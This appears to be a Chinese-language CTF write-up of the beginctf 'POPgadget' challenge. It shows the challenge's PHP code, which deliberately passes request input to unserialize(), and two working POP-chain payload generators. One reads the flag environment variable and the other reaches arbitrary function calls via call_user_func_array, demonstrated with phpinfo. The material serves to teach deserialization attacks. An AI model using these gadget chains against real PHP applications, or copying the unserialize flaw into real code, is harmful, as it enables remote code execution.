beginctf_POPgadget

记录一道在新生赛碰到的题目,继续学习php反序列化。

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

highlight_file(__FILE__);
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
}

class Test{
public function __call($f,$p){
echo getenv("FLAG");
}
public function __wakeup(){
echo "serialize me?";
}
}

class A {
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
echo $this->a->$p();
}
}

class B {
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}

if(isset($_REQUEST['begin'])){
unserialize($_REQUEST['begin']);
}
?>

题解

官方解

B::__desturt()->A::__get->Fun::__call->Test::__call

直接修改类全为__construct()魔术方法来构造序列化,便于赋值。

给Fun类的$this->func赋值array(new Test,"__call")来触发Test类的__call魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class Fun{
private $func;

public function __construct(){
$this->func = array(new Test,"__call");
}
}

class Test{
}

class A {
public $a;

public function __construct($a){
$this->a = $a;
}
}

class B {
public $p = "aaa";
}

$a = new B();
$b = new A(new Fun());
$a->a = $b;
echo urlencode(serialize($a));
?>

网上师傅的解法

B::__desturt()->A::__get->Fun::__call

利用call_user_func_array函数来执行命令

给B类的$p赋值为phpinfo然后一步一步传递到Fun类无参函数传进去$f就为phpinfo此时$p没有传参直接就是空数组了,就可以执行命令了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
}


class A {
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}

class B {
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}

$c=new Fun();
$b=new A();
$a=new B();
$a->a=$b;
$a->p='phpinfo';
$b->a=$c;
echo (serialize($a));

总结

两种构造方式以及不同获取环境变量的思路。

也是对php反序列化有了更多的了解。